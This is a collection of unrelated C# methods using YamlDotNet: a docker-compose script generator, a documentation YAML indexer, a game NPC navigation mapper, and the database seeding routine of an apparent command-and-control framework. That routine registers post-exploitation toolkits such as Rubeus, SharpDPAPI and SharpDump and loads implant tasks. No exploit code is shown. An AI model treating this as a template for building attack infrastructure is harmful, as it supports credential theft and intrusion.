doc.Children["networks"] is YamlMappingNode fragmentNetworksRoot) { networks.AddRange(fragmentNetworksRoot.Children); } } YamlMappingNode output = new YamlMappingNode(); output.Add("version", new YamlScalarNode("3") { Style = YamlDotNet.Core.ScalarStyle.DoubleQuoted }); output.Add("services", new YamlMappingNode(Merge(services))); output.Add("volumes", new YamlMappingNode(volumes)); output.Add("networks", new YamlMappingNode(networks)); PostProcess(output); var dockerImages = ((YamlMappingNode)output["services"]).Children.Select(kv => kv.Value["image"].ToString()).ToList(); dockerImages.Add("btcpayserver/docker-compose-builder:1.24.1"); dockerImages.Add("btcpayserver/docker-compose-generator:latest"); StringBuilder pullImageSh = new StringBuilder(); pullImageSh.Append($"#!/bin/bash\n\n"); pullImageSh.Append($"# This script is automatically generated via the docker-compose generator and can be use to pull all required docker images \n"); foreach (var image in dockerImages) { pullImageSh.Append($"docker pull $BTCPAY_DOCKER_PULL_FLAGS \"{image}\"\n"); } var outputFile = GetFilePath("pull-images.sh"); File.WriteAllText(outputFile, pullImageSh.ToString()); Console.WriteLine($"Generated {outputFile}"); StringBuilder saveImages = new StringBuilder(); saveImages.Append($"#!/bin/bash\n\n"); saveImages.Append($"# This script is automatically generated via the docker-compose generator and can be use to save the docker images in an archive \n"); saveImages.Append($"# ./save-images.sh output.tar \n"); saveImages.Append($"docker save -o \"$1\" \\\n {string.Join(" \\\n", dockerImages.Select(o => $"\"{o}\""))}"); outputFile = GetFilePath("save-images.sh"); File.WriteAllText(outputFile, saveImages.ToString()); Console.WriteLine($"Generated {outputFile}"); var result = serializer.Serialize(output); outputFile = GetFilePath(); File.WriteAllText(outputFile, result.Replace("''", "")); Console.WriteLine($"Generated {outputFile}"); Console.WriteLine(); }
private T DeserializeYaml <T>(string templateYaml) { var deserializer = new DeserializerBuilder().WithNamingConvention(new HyphenatedNamingConvention()).IgnoreUnmatchedProperties().Build(); return(deserializer.Deserialize <T>(templateYaml)); }
/// <summary> /// Add all YAML fields to the index /// </summary> /// <param name="simpleDataSet"></param> /// <param name="lines"></param> /// <returns>The linenumber of the second YAML marker</returns> private static int AddYamlFields(SimpleDataSet simpleDataSet, List <string> lines) { // Check if the first line is a YAML marker // YAML is only accepted if it's on the top of the document // because empty lines are already removed, the index needs to be 0 bool hasYaml = lines.ElementAt(0).TrimEnd() == "---"; int secondYamlMarker = 0; if (hasYaml) { // Find the "next" triple dash starting from the second line // But first trim all trailing spaces as this only creates issues which are hard to debug // and unclear for users. Make sure you have a ToList because IEnumerable has no IndexOf() secondYamlMarker = lines .Select(l => l.TrimEnd()) .ToList() .IndexOf("---", 1); // add all yaml together and parse YAML meta data YamlMetaData yamlMetaData = new YamlMetaData(); if (secondYamlMarker > 0) { // we found a second marker, so we have YAML data available var yamlInput = new StringBuilder(); for (int i = 1; i < secondYamlMarker; i++) { // the line must contain some valid yaml, key-value pairs are // separated by a ":" so only add lines that have that var line = lines.ElementAt(i); if (line.InvariantContains(":")) { yamlInput.AppendLine(line); } } ; // Try to convert the YAML text to a strongly typed model using YamlDotNet var deserializer = new DeserializerBuilder() .WithNamingConvention(new YamlDotNet.Serialization.NamingConventions.CamelCaseNamingConvention()) .IgnoreUnmatchedProperties() .Build(); try { yamlMetaData = deserializer.Deserialize <YamlMetaData>(yamlInput.ToString()); } catch (SemanticErrorException ex) { LogHelper.Error(typeof(ExamineHelper), "Could not parse the YAML meta data {0}" + yamlInput, ex); yamlMetaData.Tags = "yamlissue"; } } // Add Yaml stuff to the LUCENE index simpleDataSet.RowData.Add("tags", yamlMetaData.Tags); simpleDataSet.RowData.Add("keywords", yamlMetaData.Keywords); simpleDataSet.RowData.Add("versionFrom", yamlMetaData.VersionFrom); simpleDataSet.RowData.Add("versionTo", yamlMetaData.VersionTo); simpleDataSet.RowData.Add("assetID", yamlMetaData.AssetId); simpleDataSet.RowData.Add("product", yamlMetaData.Product); simpleDataSet.RowData.Add("topics", yamlMetaData.Topics); simpleDataSet.RowData.Add("audience", yamlMetaData.Topics); simpleDataSet.RowData.Add("complexity", yamlMetaData.Complexity); simpleDataSet.RowData.Add("meta.Title", yamlMetaData.MetaTitle); simpleDataSet.RowData.Add("meta.Description", yamlMetaData.MetaDescription); simpleDataSet.RowData.Add("versionRemoved", yamlMetaData.VersionRemoved); simpleDataSet.RowData.Add("needsV8Update", yamlMetaData.NeedsV8Update); var matchingMajorVersions = CalculateMajorVersions(yamlMetaData); simpleDataSet.RowData.Add("majorVersion", string.Join(" ", matchingMajorVersions)); } else { // no YAML information, add the current version as majorVersion simpleDataSet.RowData.Add("majorVersion", GetCurrentDocVersion().ToString()); } return(secondYamlMarker); }
public async static Task InitializeTasks(ICovenantService service, CovenantContext context) { if (!context.ReferenceAssemblies.Any()) { List <ReferenceAssembly> ReferenceAssemblies = Directory.GetFiles(Common.CovenantAssemblyReferenceNet35Directory).Select(R => { FileInfo info = new FileInfo(R); return(new ReferenceAssembly { Name = info.Name, Location = info.FullName.Replace(Common.CovenantAssemblyReferenceDirectory, ""), DotNetVersion = Common.DotNetVersion.Net35 }); }).ToList(); Directory.GetFiles(Common.CovenantAssemblyReferenceNet40Directory).ToList().ForEach(R => { FileInfo info = new FileInfo(R); ReferenceAssemblies.Add(new ReferenceAssembly { Name = info.Name, Location = info.FullName.Replace(Common.CovenantAssemblyReferenceDirectory, ""), DotNetVersion = Common.DotNetVersion.Net40 }); }); await service.CreateReferenceAssemblies(ReferenceAssemblies.ToArray()); } if (!context.EmbeddedResources.Any()) { EmbeddedResource[] EmbeddedResources = Directory.GetFiles(Common.CovenantEmbeddedResourcesDirectory).Select(R => { FileInfo info = new FileInfo(R); return(new EmbeddedResource { Name = info.Name, Location = info.FullName.Replace(Common.CovenantEmbeddedResourcesDirectory, "") }); }).ToArray(); await service.CreateEmbeddedResources(EmbeddedResources); } #region ReferenceSourceLibraries if (!context.ReferenceSourceLibraries.Any()) { var ReferenceSourceLibraries = new ReferenceSourceLibrary[] { new ReferenceSourceLibrary { Name = "SharpSploit", Description = "SharpSploit is a library for C# post-exploitation modules.", Location = "SharpSploit" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, new ReferenceSourceLibrary { Name = "Rubeus", Description = "Rubeus is a C# toolset for raw Kerberos interaction and abuses.", Location = "Rubeus" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, new ReferenceSourceLibrary { Name = "Seatbelt", Description = "Seatbelt is a C# project that performs a number of security oriented host-survey \"safety checks\" relevant from both offensive and defensive security perspectives.", Location = "Seatbelt" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, new ReferenceSourceLibrary { Name = "SharpDPAPI", Description = "SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.", Location = "SharpDPAPI" + Path.DirectorySeparatorChar + "SharpDPAPI" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, // new ReferenceSourceLibrary // { // Name = "SharpChrome", Description = "SharpChrome is a C# port of some Mimikatz DPAPI functionality targeting Google Chrome.", // Location = Common.CovenantReferenceSourceLibraries + "SharpDPAPI" + Path.DirectorySeparatorChar + "SharpChrome" + Path.DirectorySeparatorChar, // SupportedDotNetVersions = new List<Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } // }, new ReferenceSourceLibrary { Name = "SharpDump", Description = "SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality.", Location = "SharpDump" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, new ReferenceSourceLibrary { Name = "SharpUp", Description = "SharpUp is a C# port of various PowerUp functionality.", Location = "SharpUp" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } }, new ReferenceSourceLibrary { Name = "SharpWMI", Description = "SharpWMI is a C# implementation of various WMI functionality.", Location = "SharpWMI" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List <Common.DotNetVersion> { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } } }; await service.CreateReferenceSourceLibraries(ReferenceSourceLibraries); var ss = await service.GetReferenceSourceLibraryByName("SharpSploit"); var ru = await service.GetReferenceSourceLibraryByName("Rubeus"); var se = await service.GetReferenceSourceLibraryByName("Seatbelt"); var sd = await service.GetReferenceSourceLibraryByName("SharpDPAPI"); // var sc = await service.GetReferenceSourceLibraryByName("SharpChrome"); var sdu = await service.GetReferenceSourceLibraryByName("SharpDump"); var su = await service.GetReferenceSourceLibraryByName("SharpUp"); var sw = await service.GetReferenceSourceLibraryByName("SharpWMI"); await service.CreateEntities( new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.Automation.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.Automation.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Windows.Forms.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.AccountManagement.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.AccountManagement.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ru, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.IdentityModel.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.DirectoryServices.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Web.Extensions.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Web.Extensions.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.DataSetExtensions.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = se, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Data.DataSetExtensions.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net40) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net35) }, // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) } ); } #endregion if (!context.GruntTasks.Any()) { List <string> files = Directory.GetFiles(Common.CovenantTaskDirectory) .Where(F => F.EndsWith(".yaml", StringComparison.CurrentCultureIgnoreCase)) .ToList(); IDeserializer deserializer = new DeserializerBuilder().Build(); foreach (string file in files) { string yaml = File.ReadAllText(file); List <SerializedGruntTask> serialized = deserializer.Deserialize <List <SerializedGruntTask> >(yaml); List <GruntTask> tasks = serialized.Select(S => new GruntTask().FromSerializedGruntTask(S)).ToList(); foreach (GruntTask task in tasks) { await service.CreateGruntTask(task); } } } }
//Oh... More shitcode! public static void GenerateNavGraph() { try { Log.Info("[NAV] Generating navigation graph..."); StreamReader sr = File.OpenText(Config.NPCs_nav_mappings_path); var deserializer = new DeserializerBuilder().IgnoreUnmatchedProperties().Build(); Dictionary <string, List <NavigationNode.NavNodeSerializationInfo> > manual_mappings = deserializer.Deserialize <Dictionary <string, List <NavigationNode.NavNodeSerializationInfo> > >(sr); sr.Close(); Log.Info("[NAV] Mapping lifts..."); foreach (Lift lift in Map.Lifts) { int i = 0; NavigationNode prev_node = null; foreach (Lift.Elevator elevator in lift.elevators) { NavigationNode node = NavigationNode.Create(elevator.target.position, $"AUTO_Elevator_{lift.elevatorName}_{i}".Replace(' ', '_')); node.AttachedElevator = new KeyValuePair <Lift.Elevator, Lift>(elevator, lift); i++; if (prev_node != null) { prev_node.LinkedNodes.Add(node); node.LinkedNodes.Add(prev_node); } else { prev_node = node; } } } foreach (Room r in Map.Rooms) { string rname = r.Name.RemoveBracketsOnEndOfName(); if (!manual_mappings.ContainsKey(rname)) { NavigationNode node = NavigationNode.Create(r.Position, $"AUTO_Room_{r.Name}".Replace(' ', '_')); foreach (Door d in r.Doors) { if (d.gameObject.transform.position == Vector3.zero) { continue; } NavigationNode new_node = NavigationNode.Create(d.gameObject.transform.position, $"AUTO_Door_{(d.DoorName.IsEmpty() ? d.gameObject.transform.position.ToString() : d.DoorName)}".Replace(' ', '_')); if (new_node == null) { new_node = NavigationNode.AllNodes[$"AUTO_Door_{(d.DoorName.IsEmpty() ? d.gameObject.transform.position.ToString() : d.DoorName)}".Replace(' ', '_')]; } else { new_node.AttachedDoor = d; } node.LinkedNodes.Add(new_node); new_node.LinkedNodes.Add(node); } } else { bool is_first = true; Log.Debug($"Loading manual mappings for room {r.Name}", Plugin.Instance.Config.VerboseOutput); List <NavigationNode.NavNodeSerializationInfo> nodes = manual_mappings[rname]; int i = 0; foreach (Door d in r.Doors) { if (d.gameObject.transform.position == Vector3.zero) { continue; } NavigationNode new_node = NavigationNode.Create(d.gameObject.transform.position, $"AUTO_Door_{(d.DoorName.IsEmpty() ? d.gameObject.transform.position.ToString() : d.DoorName)}".Replace(' ', '_')); if (new_node != null) { new_node.AttachedDoor = d; } else { new_node = NavigationNode.AllNodes[$"AUTO_Door_{(d.DoorName.IsEmpty() ? d.gameObject.transform.position.ToString() : d.DoorName)}".Replace(' ', '_')]; } } foreach (NavigationNode.NavNodeSerializationInfo info in nodes) { NavigationNode node = NavigationNode.Create(info, is_first ? $"AUTO_Room_{r.Name}".Replace(' ', '_') : $"MANUAL_Room_{r.Name}_{i}".Replace(' ', '_'), rname); is_first = false; foreach (NavigationNode d in NavigationNode.AllNodes.Values.Where(nd => nd != node && Vector3.Distance(nd.Position, node.Position) < Plugin.Instance.Config.NavNodeMapperMaxDistance)) { node.LinkedNodes.Add(d); d.LinkedNodes.Add(node); Log.Debug($"Linked {node.Name} and {d.Name}", Plugin.Instance.Config.VerboseOutput); } i++; } } } } catch (Exception e) { Log.Error($"Caught an exception while generating navigation graph: {e}/{e.StackTrace}"); } }
